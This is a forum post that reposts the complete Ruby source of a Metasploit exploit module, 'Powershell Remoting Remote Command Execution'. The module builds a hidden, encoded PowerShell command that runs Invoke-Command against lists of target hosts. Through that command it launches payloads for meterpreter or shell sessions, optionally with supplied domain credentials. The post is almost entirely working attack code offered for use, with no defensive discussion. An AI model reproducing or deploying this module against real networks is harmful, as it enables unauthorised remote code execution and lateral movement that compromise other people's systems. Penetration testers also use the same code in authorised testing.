Jump to content
Aerosol

Powershell Remoting Remote Command Execution

Recommended Posts

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'Powershell Remoting Remote Command Execution',
'Description' => %q{
Uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise
use a HOSTFILE to supply a list of known hostnames.
},
'License' => MSF_LICENSE,
'Author' => [ 'Ben Campbell' ],
'References' =>
[
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'DisclosureDate' => 'Jan 01 1999',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' =>
[
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
],
'DefaultTarget' => 0
))

register_options([
OptString.new('SMBUser', [ false, 'The username to authenticate as' ]),
OptString.new('SMBPass', [ false, 'The password for the specified username' ]),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]),
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
OptPath.new('HOSTFILE', [ false, 'Line separated file with hostnames to target' ]),
# Move this out of advanced
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
OptBool.new("ExitOnSession", [ true, "Return from the exploit after a session has been created", false ])
])

register_advanced_options(
[
OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 60])
], self.class)
end

def exploit
if !datastore['ExitOnSession'] && !job_id
fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
end

unless datastore['RHOSTS'] || datastore['HOSTFILE']
fail_with(Failure::BadConfig, "Need RHOSTS or HOSTFILE specified.")
end

if datastore['SMBUser'] && datastore['SMBPass'].nil?
fail_with(Failure::BadConfig, "Need both username and password set.")
end

if datastore['RHOSTS']
ip_list = "$iplist="
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |ip|
ip_list << "'#{ip}',"
end

# Remove trailing comma...
ip_list = ip_list[0..-2]
ip_list << ";"
end

known_hosts = ""
if datastore['HOSTFILE']
::File.open(datastore['HOSTFILE'], "rb").each_line do |hostname|
hostname.strip!
known_hosts << "'#{hostname}'," unless hostname.blank?
end
known_hosts = known_hosts[0..-2]
end

command = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
encode_final_payload: true,
remove_comspec: true)

ps = <<EOF
#{generate_credentials}
$ResultList=@(#{known_hosts});
#{ip_list}
foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { cmd.exe /c start #{command} }
EOF

if datastore['SMBUser']
ps << " -Credential $creds"
end

# If the host process terminates too quickly the jobs will die
# before they spawn in a new process.
ps << ";Sleep 20;"
ps.gsub!("\n", "")

command = generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: ps
)

print_status("Executing command...")
begin
cmd_exec(command)
rescue Rex::TimeoutError
end

stime = Time.now.to_f
loop do
break if session_created? && datastore['ExitOnSession']
break if datastore['ListenerTimeout'].to_i > 0 && (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f)

Rex.sleep(1)
end

print_status("Completed")
end

def generate_credentials(domain = datastore['SMBDomain'], user = datastore['SMBUser'], pass = datastore['SMBPass'])
creds = ""

unless user.nil?
creds = "$pass=ConvertTo-SecureString -string '#{pass}' -asPlainText -force;"\
"$creds=new-object -typename System.Management.Automation.PSCredential -argumentlist "
if domain.nil?
creds << "'#{user}'"
else
creds << "'#{domain}\\#{user}'"
end

creds << ",$pass;"
end

creds
end
end

Source

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


×
×
  • Create New...